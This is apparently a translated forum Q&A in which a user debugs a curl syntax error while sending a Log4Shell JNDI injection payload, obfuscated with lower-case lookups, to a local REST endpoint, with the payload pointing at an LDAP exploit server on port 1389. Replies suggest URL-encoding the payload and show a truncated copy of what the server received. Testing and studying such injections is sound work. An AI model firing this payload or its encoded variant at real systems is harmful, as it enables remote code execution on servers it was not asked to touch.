簡體   English   中英

URL curl 語法錯誤與 JNDI 中的嵌套大括號

[英]Nested Brace in URL curl syntax error with JNDI

運行以下代碼時出現錯誤。 你能告訴我語法有什么問題嗎? 我已經嘗試了所有的可能性,包括 "、雙引號等,但沒有運氣。

錯誤:curl:(3) URL position 62 中的嵌套大括號:

curl 'http://localhost:8080/rest/users/user/updateuser?cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/#Exploit}' -H 'ID:1234567' -H 'Content-Type:application/json' -H 'X-UserName:usern8' --data-raw '{"id": 1,"name": "Name","profession": "Profession"}'

您可能必須對查詢字符串進行 url 編碼。

我轉換了它,它看起來像這樣:

cmd%3D%24%7Bjndi%3A%24%7Blower%3Al%7D%24%7Blower%3Ad%7D%24%7Blower%3Aa%7D%24%7Blower%3Ap%7D%3A%2F%2F127.0.0.1%3A1389%2F%23Exploit%7D

真正的問題可能是您認為在查詢字符串中傳輸的內容。

您顯示的內容無效 JSON。
但我發送了它,這是服務器收到的。

'argv' => array (0 => 'cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',),

'REQUEST_METHOD' => 'POST',

BODY={"id": 1,"name": "Name","profession": "Profession"}

$_SERVER['QUERY_STRING'] = cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/

$_POST array ()

$_GET array ('cmd' => '${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',)

$_REQUEST array ('cmd' => '${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',)

那是您希望服務器接收的嗎?
或者您是否認為這${lower:d}可以解決其他問題?
這看起來像一個 PHP 變量。 它從哪里來的?

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM